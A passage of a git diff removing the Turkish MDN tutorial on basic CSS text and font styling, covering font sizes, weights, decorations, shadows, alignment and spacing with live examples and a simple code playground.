örneği</h4> - -<p>Paragraflara bir sans-serif yazı tipi vererek önceki örneğimize ekleyelim:</p> - -<pre class="brush: css notranslate">p { - color: red; - font-family: Helvetica, Arial, sans-serif; -}</pre> - -<p>Sayfamız artık böyle görünür:</p> - -<div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> - -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> - -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi temizlemek için geri çekildi. Pek çok şişko sokak faresi, bu harika makinanın güçlü dişleri arasında kendi ölümüyle karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p></pre> -</div> - -<p>{{ EmbedLiveSample('Bir_font-family_örneği', '100%', 220) }}</p> - -<h3 id="Yazı_Tipi_Boyutu">Yazı Tipi Boyutu</h3> - -<p>Önceki ünitede <a href="/tr/docs/Öğren/CSS/Building_blocks/Values_and_units">CSS değerleri ve birimleri</a> dersimizde, uzunluk ve boyut birimlerini inceledik. Yaz tipi boyutu ({{cssxref("font-size")}} niteliği ile ayarlanır), bu nitelik birçok ölçü birimi değerini kabul eder(<a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Percentages">yüzdelikler</a> ve diğerleri), ancak metni boyutlandırmak için kullanacağınız en yaygın birimlerse şunlardır:</p> - -<ul> - <li><code>px</code> (piksel): Metnin yüksekliğini piksel adedi olarak belirler. Bu mutlak bir birimdir — Her tarayıcı ve işletim sisteminde aynı yüksekliğe sahip olur.</li> - <li><code>em</code>s: 1 <code>em</code>, stilini belirlediğiniz mevcut öğenin üst öğesinde ayarlanan yazı tipi boyutuna eşittir(daha karakteristik olarak, ana öğenin içinde bulunan M hafinin genişliği). Farklı yazı tipi boyutlarına sahip iç içe yerleştirilmiş birçok öğenin olduğu aşağıdaki gibi bir örnekte ki tanımlamaları nasıl yapabiliriz. İşi neden zorlaştırıyoruz? Bir kez alıştığımızda <code>em</code> kullanımı oldukça doğal gelmeye başlayacaktır ve sadece metni değil, her şeyi boyutlandırmada kullanabiliriz. Bakımı kolay olan bir web sitesi sahibi olmak için <code>em</code> çok yardımcı olacaktır.</li> - <li><code>rem</code>s: <code>rem</code> hedeflediği öğenin bir üst öğesindeki değeri değilde belgenin kök öğesindeki — {{htmlelement("html")}} — değeri baz almanın dışında aynı <code>em</code> gibi davranır. Bu, yazı tipi boyutlarınızı hesaplamak için matematik işlemlerini çok daha kolaylaştırır, eğer eski tarayıcıları destekelemek istiyorsanız, ek bildirimlerde bulunmanız gerecektir — <code>rem</code> Internet Explorer 8 ve alt sürümlerinde desteklenmez.</li> -</ul> - -<p><code>font-size</code> nitelik değeri, ilgili öğenin ebeveyninden miras olarak alınır ve tarayıcılar arasında varsayılan {{htmlelement("html")}} kök öğesinin <code>font-size</code> nitelik değeri 16px olarak tanımlanmasıyla, kök öğenin çocukları ve torunları için bir kural oluşturmadığınız sürece sayfanızdaki tüm öğelerin<code>font-size</code> değeri aynı olur. Diğer bazı öğelerin tarayıcı tarafından tanımlanmış varsayılan değerleri de olabilir, meselâ {{htmlelement("h1")}} öğesinin varsayılan <code>font-size</code> nitelik değeri 2em boyutundadır, bu nedenle piksel boyutu 32px olacaktır.</p> - -<p>İç içe geçmiş öğelerin yazı tipi boyutunu ayarlamaya başladığınızda işler biraz karmaşaya neden olabilir. Örn., sayfanızdaki {{htmlelement("article")}} öğesinin yazı tipi boyutunu <code>1.5em</code> olarak ayarladınız buda normal şartlarda <code>24px</code> olarak hesaplanacaktır ve <code><article></code> öğesinin içerisindeki paragrafların yazı tipi boyutunuda <code>20px</code> olmasını istiyorsunuz. Bu durumda hangi <code>em</code> değerini kullanırdınız?</p> - -<pre class="brush: html notranslate"><!-- belgenin kök font-size değeri 16px --> -<article> <!-- Buradaki font-size 1.5em olmasını istiyoruz --> - <p>My paragraph</p> <!-- tüm paragraflarımızın font-size değerininde 20px olmasını planladık? --> -</article></pre> - -<p>Yukarıdaki hesaplama adımlarının ilkinde 16*1,5 işlemiyle <code><article></code> öğemizin yazı tipi boyutu <code>24px</code> olarak hesaplanır, paragraflarımızda <code>font-size</code> nitelik değerini hesaplamak için baz alacağı değeri, ebeveyni olan <code><article></code> yazı tipi boyutundan alacağı için; em * 24=20, em=20/24, em=0,83333333 olarak yazmamız gerekir. Bu biraz tuhaf gelebilir, bu yüzden bir şeyleri nasıl şekillendirdiğiniz konusunda dikkatli olmalısınız. <code>rem</code> işleri bira daha basit tutmak için kullanışlı olabilir.</p> - -<h4 id="Basit_bir_boyutlandırma_örneği">Basit bir boyutlandırma örneği</h4> - -<p>Metinlerimizi boyutlandırıken, sayfamızdaki her öğenin atası olan {{htmlelement("html")}} kök öğemizin <code>font-size</code> nitelik değerini <code>10px</code> olarak ayarlamak daha sonraki boyutlandırma hesaplamalarımız için iyi bir yaklaşım olacaktır — bu şekilde <code>rem</code> niteliklerimiz varsayılan <code>16px</code> değeri yerine <code>10px</code> değerini baz alacaklardır. Sayfamızdaki öğeler için <code>font-size</code> nitelik tanımlamalarımızı belli bir alanda listelemek de iyi bir fikirdir, böylece bulunmaları kolay olacaktır.</p> - -<p>Yeni yakşımımızla sayfamızın sonucu şu şekilde olacaktır:</p> - -<div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> - -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> - -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi - temizlemek için geri çekildi. Pek çok şişko sokak faresi, - bu harika makinanın güçlü dişleri arasında kendi ölümüyle - karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin - anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> -</div> - -<pre class="brush: css notranslate">html { - font-size: 10px; -} - -h1 { - font-size: 5rem; -} - -p { - font-size: 1.5rem; - color: red; - font-family: Helvetica, Arial, sans-serif; -}</pre> - -<p>{{ EmbedLiveSample('Basit_bir_boyutlandırma_örneği', '100%', 260) }}</p> - -<h3 id="Yazı_tipi_stili_yazı_tipi_kalınlığı_metnin_BÜYÜKküçük_dönüşümü_ve_metnin_dekorasyonusüslemesi">Yazı tipi stili, yazı tipi kalınlığı, metnin BÜYÜK/küçük dönüşümü ve metnin dekorasyonu/süslemesi</h3> - -<p>CSS, metnin görsel kalınlığı/vurgusunu değiştirmek için dört ortak özellik sağlar:</p> - -<ul> - <li>{{cssxref("font-style")}}: Metnin italik görünümünü açıp/kapatmak için kullanılır. Olası değerler aşağıdaki gibidir(Herhangi bir nedenle italik görünmesini istediğimizde bunu nadiren kullacaksınız — belkide <strong>web yazı tipinizin</strong> sadece italik sürümü vardır): - - <ul> - <li><code>normal</code>: Metni normal yazı tipine ayarlar (mevcut italikleri kapatır.)</li> - <li><code>italic</code>: Metni, varsa yazı tipinin <em>italik</em> sürümünü kullanacak şekilde ayarlar; yoksa, bunun yerine <em>italik</em> görünüm simüle/benzetim edilecektir.</li> - <li><code>oblique</code>: Metni, normal yazı tipi sürümünün <em>italik</em> olarak görünmesi için simüle/benzetim edilerek görüntülenmesini sağlar.</li> - </ul> - </li> - <li>{{cssxref("font-weight")}}: Metnin ne kadar kalın olacağını ayarlar. Burada kullanabileceğimiz bir çok terimimiz vardır(-light, -normal, -bold, -extrabold, -black vb.). Fakat bunların içerisinden en çok kullanacaklarımız normal ve bold terimleridir: - <ul> - <li><code>normal</code>, <code>bold</code>: Yazı tipi genişliğini normal and <strong>kalın</strong> olarak ayarlar.</li> - <li><code>lighter</code>, <code>bolder</code>: Geçerli öğenin kalınlığını, ebeveynin kalınlığından bir adım daha ince ve daha kalın olacak şekilde ayarlar.</li> - <li><code>100</code>–<code>900</code>: yukarıdakilerden daha hassas kontol sağlayan sayısal kalınlık değerleri.</li> - </ul> - </li> - <li>{{cssxref("text-transform")}}: Metninizin harf dönüşümlerini kontrol etmek için kullanılır. Alabileceği değerler: - <ul> - <li><code>none</code>: Herhangi bir dönüşümü engeller.</li> - <li><code>uppercase</code>: Tüm metni <em>BÜYÜK HARFLERE</em> dönüştürür.</li> - <li><code>lowercase</code>: tüm metni <em>küçük harflere</em> dönüştürür.</li> - <li><code>capitalize</code>: Tüm metninizdeki kelimelerin <em>İlk Harflerini Büyük Olacak Şekilde</em> dönüştürür.</li> - <li><code>full-width</code>: Metninizdeki tüm glifleri, tek aralıklı karakterler şeklinde <span style="text-transform: full-width;">sabit genişlikteki bir kutu içine yazılacak</span> şekilde dönüştürür. Örn. latin karakterlerinin Asya dil glifleriyle (Çince, Japonca, Korece gibi) hizalanmasına izin verir.</li> - <li><code>full-size-kana</code>: Ruby karakterlerinde (Çince, Japonca, Korece gibi) kullanılan küçük yazı tipi boyutlarındaki okunabilirlilik sorunlarını telefai etmek için küçük <em>kana</em> karakterlerini tam boyutlu <em>KANA'ya</em> dönüştürmek için kullanılır.<br> - ぁぃぅぇぉゕゖっゃゅょゎ -> <span style="text-transform: full-size-kana;">ぁぃぅぇぉゕゖっゃゅょゎ</span></li> - </ul> - </li> - <li>{{cssxref("text-decoration")}}: Metin süslemelerini ayarlar/kaldırır( bunu genelde, bağlantıların altındaki alt çizgiyi kaldımak için kullanırsınız). Mevcut değerleri şunlardır: - <ul> - <li><code>none</code>: Mevcut olan tüm metin süslemelerini kaldırır.</li> - <li><code>underline</code>: <u>Metnin altını çizer</u>.</li> - <li><code>overline</code>: <span style="text-decoration: overline;">Metnin üzerine bir çizgi çizer.</span></li> - <li><code>line-through</code>: <s>Metnin üstüne üst çizgi</s> çizer.</li> - </ul> - {{cssxref("text-decoration")}} ile aynı anda birden fazla süsleme eklemek istiyorsanız, aynı anda birden fazla değeri kabul edebileceğiniz unutmayın. Örn. <span style="text-decoration: underline overline;"><code>text-decoration: underline overline</code></span>. Ayrıca {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} ve {{cssxref("text-decoration-color")}} nitelikleri için {{cssxref("text-decoration")}} niteliği bir kısa tanımdır. İlginç süslemeler oluşturmak için bu nitelikleri farklı şekillerde birleştirirerek kullanabilirsiniz <span style="text-decoration: line-through red wavy;"><code>text-decoration: line-through red wavy</code>.</span></li> -</ul> - -<p>Örneğimize bu niteliklerden birkaçını ekleyelim:</p> - -<p>Görüntünün yeni çıktısı şu şekildedir:</p> - -<div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi temizlemek için geri çekildi. Pek çok şişko sokak faresi, bu harika makinanın güçlü dişleri arasında kendi ölümüyle karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> -</div> - -<pre class="brush: css notranslate">html { - font-size: 10px; -} - -h1 { - font-size: 5rem; - text-transform: capitalize; -} - -h1 + p { - font-weight: bold; -} - -p { - font-size: 1.5rem; - color: red; - font-family: Helvetica, Arial, sans-serif; -}</pre> - -<p>{{ EmbedLiveSample('Yazı_tipi_stili_yazı_tipi_kalınlığı_metnin_BÜYÜKküçük_dönüşümü_ve_metnin_dekorasyonusüslemesi', '100%', 260) }}</p> - -<h3 id="Metnin_alt_gölgeleri">Metnin alt gölgeleri</h3> - -<p>{{cssxref("text-shadow")}} niteliğini kullanarak metninize alt gölgeler uygulayabilirsiniz. Bu şekilde metninizin altındaki görsel veya renk ile kontrastını arttırarak okunabilirliliğini yükseltmiş oluruz yada sadece görsellik için kullanırız. Aşağıdaki gibi bu özelliği kullanabilmek için niteliğe en fazla dört değer atanabilir.</p> - -<pre class="brush: css notranslate">text-shadow: 4px 4px 5px red;</pre> - -<p>Dört özellik aşağıdaki gibidir:</p> - -<ol> - <li> - <p>Gölgenin metninize olan yatay uzaklığını belirtir — CSS <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Length_and_size">uzunluk ve ölçü birimlerinin</a> çoğunu alabilir, ancak en yaygın olarak kullanacağımız <code>px</code> birimi olacaktır. Pozitif değer gölgelendirmeyi sağa doğru, negatif eder ise gölgelendirmeyi sola doğru hareket ettirir. Bu değerin bulunması zorunludur.</p> - </li> - <li> - <p>Gölgenin meninize olan dikey uzaklığını belirtir — CSS <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Length_and_size">uzunluk ve ölçü birimlerinin</a> çoğunu alabilir, ancak en yaygın olarak kullanacağımız <code>px</code> birimi olacaktır. Pozitif değer gölgelendirmeyi aşağıya doğru, negatif eder ise gölgelendirmeyi yukarıya doğru hareket ettirir. Bunun dışında yatay tanımlama ile aynı davranışı sergiler. Bu değerin de bulunması zorunludur.</p> - </li> - <li> - <p>Bulanıklık yarıçapını tanımlar, gölgenin arka plana geçişini yumuşatmak için kullanırlır — CSS <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Length_and_size">uzunluk ve ölçü birimlerinin</a> çoğunu alabilir, bu değer belirtilmez ise varsıylan olarak 0 değerini alır ve buda bulanıklılığın olmadığı anlamına gelir. Değer yükseldikçe gölge daha geniş bir alana yayılır. Eksi değer alamaz.</p> - </li> - <li> - <p>Gölgenin temel rengi tanımlanır. Herhangi bir <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Colors">CSS renk değerini</a> alabilir, gölgenin rengi belirtilmez ise geçerli olan renk kullanılır — yani gölgenin rengi öğenin <code>color</code> niteliğinden alınır.</p> - </li> -</ol> - -<h4 id="Birden_çok_gölge">Birden çok gölge</h4> - -<p>Virgülle ayrılmış birden çok gölge değeri ekleyerek aynı metne birden çok gölge uygulayabilirisiniz, örn.</p> - -<pre class="brush: css notranslate">text-shadow: 1px 1px 1px red, - 2px 2px 1px green;</pre> - -<p>Bunu {{htmlelement("h1")}} öğemizin içeriği olan 'Tommy the cat' örneğimize uygularsak, şu sonucu görürdük:</p> - -<div class="hidden"> -<h5 id="Hidden_example1">Hidden example1</h5> - -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi temizlemek için geri çekildi. Pek çok şişko sokak faresi, bu harika makinanın güçlü dişleri arasında kendi ölümüyle karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> - -<pre class="brush: css notranslate">html { - font-size: 10px; -} - -h1 { - font-size: 5rem; - text-transform: capitalize; - text-shadow: 1px 1px 1px red, - 2px 2px 1px green; -} - -h1 + p { - font-weight: bold; -} - -p { - font-size: 1.5rem; - color: red; - font-family: Helvetica, Arial, sans-serif; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Hidden_example1', '100%', 260) }}</p> - -<div class="note"> -<p><strong>Not</strong>: <a href="http://www.sitepoint.com/moonlighting-css-text-shadow/">CSS ile metinlere ay ışığı gölgelendirmesi</a> dersinde, <code>text-shadow</code> ile ilgili daha ilginç kullanım örnekleri görebilirsiniz.</p> -</div> - -<h2 id="Metin_düzeni">Metin düzeni</h2> - -<p>Temel yazı tipi özellikleriyle birlikte metin düzenini etilemek için kullanacağımız özelliklere bir göz atalım.</p> - -<h3 id="Metin_hizalama">Metin hizalama</h3> - -<p>{{cssxref("text-align")}} niteliği metin içeren kutunun içerisindeki metnin hizalanmasını kontrol etmek için kullanılır. Mevcut değerler aşağıdaki gibidir ve normal bir kelime işlmeci uygulamasına benzer şekilde çalışır:</p> - -<ul> - <li><code>left</code>: Metni içinde bulunduğu kutunun soluna yaslar</li> - <li><code>right</code>: Metni içinde bulunduğu kutunun sağına yaslar</li> - <li><code>center</code>: Metni içinde bulunduğu kutuya ortalar</li> - <li><code>justify</code>: Metnin satırlarını, içinde bulunduğu kutunun içerik alanının her iki yanına yaslanabilmesi için kelimeler arasındaki boşlukları değiştirerek metni yayar. Bu özelliği kullanırken dikkatli olmanız gerekir — özellikle içerisinde çok uzun bir kelimenin olduğu paragrafların görünümü korkunç olabilir. Eğer bu özelliği kullanmak isterseniz, bununla birlikte {{cssxref("hyphens")}} niteliğinide kullanarak, kelimelerin uygun yerlerinden tire "-" işaretiyle fazlalığın bir alt satıra inmesi sağlanarak görünümün daha iyi olması sağlanmalıdır.</li> -</ul> - -<p>{{htmlelement("h1")}} öğemize <code>text-align: center;</code> bildirimini uyguladığımak istediğimde görüntü şu şekilde değişir:</p> - -<div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi temizlemek için geri çekildi. Pek çok şişko sokak faresi, bu harika makinanın güçlü dişleri arasında kendi ölümüyle karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> - -<pre class="brush: css notranslate">html { - font-size: 10px; -} - -h1 { - font-size: 5rem; - text-transform: capitalize; - text-shadow: 1px 1px 1px red, - 2px 2px 1px green; - text-align: center; -} - -h1 + p { - font-weight: bold; -} - -p { - font-size: 1.5rem; - color: red; - font-family: Helvetica, Arial, sans-serif; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Metin_düzeni', '100%', 260) }}</p> - -<h3 id="Satır_yüksekliği">Satır yüksekliği</h3> - -<p>{{cssxref("line-height")}} niteliği metnin her satırının yüksekliğini ayarlar — bu çoğu <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Length_and_size">uzunluk ve boyut birimini</a> alabilir, ancak aynı zamanda çarpan olarak davranan ve genellikle en iyi seçenek olarak kabul edilen birimsiz bir değer de alabilir. Satır yüksekliğini elde etmek için yazı tipi boyutuyla {{cssxref("font-size")}} çarpılır. Gövde metni genellikle daha güzel görünür ve satırlar aralandığında okunması daha kolaydır; önerilen satır yüksekliği 1,5-2'dir(çif aralık). Dolayısıyla, metin satırlarımızı yazı tipinin yüksekliğinin 1,6 katına ayarlamak için şunu kullanırsını:</p> - -<pre class="brush: css notranslate">line-height: 1.6;</pre> - -<p>Bunu örneğimizdeki {{htmlelement("p")}} öğemize uyguladığımızda şu sonucu verir:</p> - -<div class="hidden"> -<h5 id="Hidden_example2">Hidden example2</h5> - -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi temizlemek için geri çekildi. Pek çok şişko sokak faresi, bu harika makinanın güçlü dişleri arasında kendi ölümüyle karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> - -<pre class="brush: css notranslate">html { - font-size: 10px; -} - -h1 { - font-size: 5rem; - text-transform: capitalize; - text-shadow: 1px 1px 1px red, - 2px 2px 1px green; - text-align: center; -} - -h1 + p { - font-weight: bold; -} - -p { - font-size: 1.5rem; - color: red; - font-family: Helvetica, Arial, sans-serif; - line-height: 1.6; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Hidden_example2', '100%', 300) }}</p> - -<h3 id="Harf_ve_kelime_aralığı">Harf ve kelime aralığı</h3> - -<p>{{cssxref("letter-spacing")}} ve {{cssxref("word-spacing")}} nitelikleri, metninizdeki harf ve kelimlerin arasındaki boşluğu ayarlamanıza olanak sağlar. Bunları çok sık kullanmayacaksınız, ancak belirli bir görünüm elde etmeleri veya özellikle yoğun bir yazı tipinin okunabilirliğini artırmaları için bir kullanabilirsiniz. Çoğu <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Length_and_size">uzunluk ve boyut birimlerini</a> alabilir.</p> - -<p>Örnek olarak, örneğimizdeki her bir {{htmlelement("p")}} öğesinin ilk satırına biraz kelime ve harf aralığı uygulayabiliriz:</p> - -<pre class="brush: css notranslate">p::first-line { - letter-spacing: 4px; - word-spacing: 4px; -}</pre> - -<p>Örneğimize ekleyip soncunun nasıl göründüğüne bir bakalım:</p> - -<div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi temizlemek için geri çekildi. Pek çok şişko sokak faresi, bu harika makinanın güçlü dişleri arasında kendi ölümüyle karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> - -<pre class="brush: css notranslate">html { - font-size: 10px; -} - -h1 { - font-size: 5rem; - text-transform: capitalize; - text-shadow: 1px 1px 1px red, - 2px 2px 1px green; - text-align: center; - letter-spacing: 2px; -} - -h1 + p { - font-weight: bold; -} - -p::first-line { - letter-spacing: 4px; - word-spacing: 4px; -} - -p { - font-size: 1.5rem; - color: red; - font-family: Helvetica, Arial, sans-serif; - line-height: 1.6; - letter-spacing: 1px; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Letter_and_word_spacing', '100%', 330) }}</p> - -<h3 id="Bakmaya_değer_diğer_nitelikler">Bakmaya değer diğer nitelikler</h3> - -<p>Yukarıdaki özellikler size bir web sayfasında metin stilini nasıl belirleyeceğiniz konusunda bir fikir verir, ancak kullanabileceğiniz daha birçok nitelik vardır. Sadece en önemlilerini burada ele almak istedik. Yukarıdakileri kullanmaya alıştığınızda, aşağıdakileri de keşfetmelisiniz.</p> - -<p>Yazı tipi stilleri:</p> - -<ul> - <li>{{cssxref("font-variant")}}: Küçük harfleri, küçük harf yüksekliğinde büyük harflere dönüştürür.</li> - <li>{{cssxref("font-kerning")}}: Yazı tipinin karakter aralığını açık/kapatır.</li> - <li>{{cssxref("font-feature-settings")}}: Çeşitli <a href="https://en.wikipedia.org/wiki/OpenType">OpenType</a> yazı tipi özelliklerini açık/kapatır.</li> - <li>{{cssxref("font-variant-alternates")}}: Yazı tipinin alternatif gliflerinin kullanımını kontrol eder.</li> - <li>{{cssxref("font-variant-caps")}}: Alternatif büyük harf gliflerinin kullanımını kontrol eder.</li> - <li>{{cssxref("font-variant-east-asian")}}: Japonca ve Çince gibi Doğu Asya alfabeleri için alternatif gliflerin kullanımını kontrol eder.</li> - <li>{{cssxref("font-variant-ligatures")}}: Metindeki bitişik harflerin görünümünü kontrol eder.</li> - <li>{{cssxref("font-variant-numeric")}}: Sayılar, kesirler ve sıra işaretçileri için alternatif gliflerin kullanımını kontrol eder.</li> - <li>{{cssxref("font-variant-position")}}: üst simge veya alt simge olarak konumlandırılmış daha küçük boyutlardaki alternatif gliflerin kullanımını kontrol eder.</li> - <li>{{cssxref("font-size-adjust")}}: Fontun görsel boyutunu gerçek font boyutundan bağımsız olarak ayarlar.</li> - <li>{{cssxref("font-stretch")}}: Belirli bir yazı tiğinin olası alternatif uzatılmış versiyonları arasında geçiş yapmamızı sağlar.</li> - <li>{{cssxref("text-underline-position")}}: <code>text-decoration-line</code> niteliğinin <code>underline</code> değeriyle ayarlanan alt çizginin konumunu belirler.</li> - <li>{{cssxref("text-rendering")}}: Metin görüntülenmek için işlenme aşamısının iyileştirilmesi için kullanılır.</li> -</ul> - -<p>Metin düzeni stilleri:</p> - -<ul> - <li>{{cssxref("text-indent")}}: Metin içeriğinin ilk satırının başlangıcından önce ne kadar yatay boşluk bırakılması gerektiğini belirler.</li> - <li>{{cssxref("text-overflow")}}: Taşan içeriğin ne şekilde ele alınacağını belirler.</li> - <li>{{cssxref("white-space")}}: Öğenin içerisindeki boşlukların ve satır sonlarının nasıl işleneceğini tanımlar.</li> - <li>{{cssxref("word-break")}}: Sözcüklerin satıra bölünüp bölünmeyeceğini tanımlar.</li> - <li>{{cssxref("direction")}}: Metin yönünü tanımlar (Bu, kullanılan dile bağlıdır ve genellikle HTML'nin metin içeriğine bağlı olduğu için bu bölümü işlemesine izin vermek daha iyidir.)</li> - <li>{{cssxref("hyphens")}}: Desteklenen diller için tirelemeye(kesme işareti) izin verir.</li> - <li>{{cssxref("line-break")}}: Asya dilleri için satır kırmayı gevşetin ve güçlendirin.</li> - <li>{{cssxref("text-align-last")}}: Zorlanmış satır kesmesinde, bloğun veya bir paragrafın son satırının nasıl hizalanacağını tanımlar.</li> - <li>{{cssxref("text-orientation")}}: Bir satırdaki metnin yönünü tanımlayın.</li> - <li>{{cssxref("overflow-wrap")}}:Taşmayı önlemek için tarayıcının kelimeler içindeki satırları kesip kesmeyeceğini belirler..</li> - <li>{{cssxref("writing-mode")}}: Metin satırlarının yatay mı yoksa dikey mi düzenleneceğini ve sonraki satırların aktığı yönü tanımlar.</li> -</ul> - -<h2 id="Yazı_tipi_kısa_tanımları">Yazı tipi kısa tanımları</h2> - -<p>{{cssxref("font")}} niteliği ile yazı tipinin birçok özelliği tanımlanabilir. Tanımlabilen nitelikler şu sırayla yazılır: {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} ve {{cssxref("font-family")}}.</p> - -<p>Tüm bu nitelikler arasında sadece <code>font-size</code> ve <code>font-family</code> kullanılırken <code>font</code> kısa tanımında belirtilmesi gereken bir kullanım vardır.</p> - -<p>{{cssxref("font-size")}} ve {{cssxref("line-height")}} niteliklerinin arasına eğik çizgi konulmalıdır.</p> - -<p>Kullanım örneği:</p> - -<pre class="brush: css notranslate">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre> - -<h2 id="Aktif_öğrenim_metin_stilini_değiştirin">Aktif öğrenim: metin stilini değiştirin</h2> - -<p>Bu aktif öğrenme oturumunda, yapabileceğiniz belirli bir alıştırmanız yok. sadece bazı yazı tipi/metin düzeni nitelikleriniyle oyun oynamanızı ve neler üretebileceğinizi görmenizi istiyoruz! Bunu çevrimdışı HTML/CSS dosyalarını kullanarak yapabilir veya kodunuzu aşağıdaki canlı düzenlenebilir örneğe girebilirsiniz.</p> - -<p>Bir hata yaparsanız, her zaman <em>Sıfırla</em> düşmesini kullanarak baştan başlayabilirsiniz.</p> - -<div class="hidden"> -<h6 id="Playable_code">Playable code</h6> - -<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>HTML Kod Girişi</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> -<p>Denemeniz için bazı örnek metinler</p> - </textarea> - - <h2>CSS Kodu Girişi</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> -p { - -} -</textarea> - - <h2>Çıktı</h2> - <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> - <div class="controls"> - <input id="reset" type="button" value="Sıfırla" style="margin: 10px 10px 0 0;"> - </div> -</div> -</pre> - -<pre class="brush: js notranslate">const htmlInput = document.querySelector(".html-input"); -const cssInput = document.querySelector(".css-input"); -const reset = document.getElementById("reset"); -let htmlCode = htmlInput.value; -let cssCode = cssInput.value; -const output = document.querySelector(".output"); - -const styleElem = document.createElement('style'); -const headElem = document.querySelector('head'); -headElem.appendChild(styleElem); - -function drawOutput() { - output.innerHTML = htmlInput.value; - styleElem.textContent = cssInput.value; -} - -reset.addEventListener("click", function() { - htmlInput.value = htmlCode; - cssInput.value = cssCode; - drawOutput(); -}); - -htmlInput.addEventListener("input", drawOutput); -cssInput.addEventListener("input", drawOutput); -window.addEventListener("load", drawOutput); -</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> - -<h2 id="Becerilerinizi_test_edin!">Becerilerinizi test edin!</h2> - -<p>Bu dersin sonuna geldiniz ve Aktif Öğrenme bölümümüzde zaten bazı beceri tesleri yaptınız, ancak ileriye dönük en önemli bilgileri hatırlayıp/hatırlamadığınızı biliyor musunuz? Dersin sonunda bu konuları öğrendiğini doğrulamak için bazı değerlendirme testleri hazırladık — bkz. <a href="/tr/docs/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a>.</p> - -<p>Bu değerlendirme, bu ünitede tartışılan tüm bilgilerini test eder, bu nedenle devam etmeden önce diğer dersleri de okumak isteyebilirsiniz.</p> - -<h2 id="Özet">Özet</h2> - -<p>Bu derste metinle oynamaktan keyif aldığınızı umuyoruz! Sonraki ders size HTML listlerinin stilini belirleme konusunda bilmeniz gereken her şeyi açıklayacaktır.</p> - -<p>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</p> - -<h2 id="Bu_ünitede">Bu ünitede</h2> - -<ul> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_lists">Styling lists</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_links">Styling links</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Web_fonts">Web fonts</a></li> - <li><a href="/tr/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></li> -</ul> diff --git a/files/tr/learn/css/styling_text/index.html b/files/tr/learn/css/styling_text/index.html deleted file mode 100644 index 7bfe91f8bc..0000000000 --- a/files/tr/learn/css/styling_text/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Metni stilini belirleme -slug: Learn/CSS/Styling_text -tags: - - Acemi - - Bağlantılar - - Beginner - - CSS - - CodingScripting - - Fonts - - 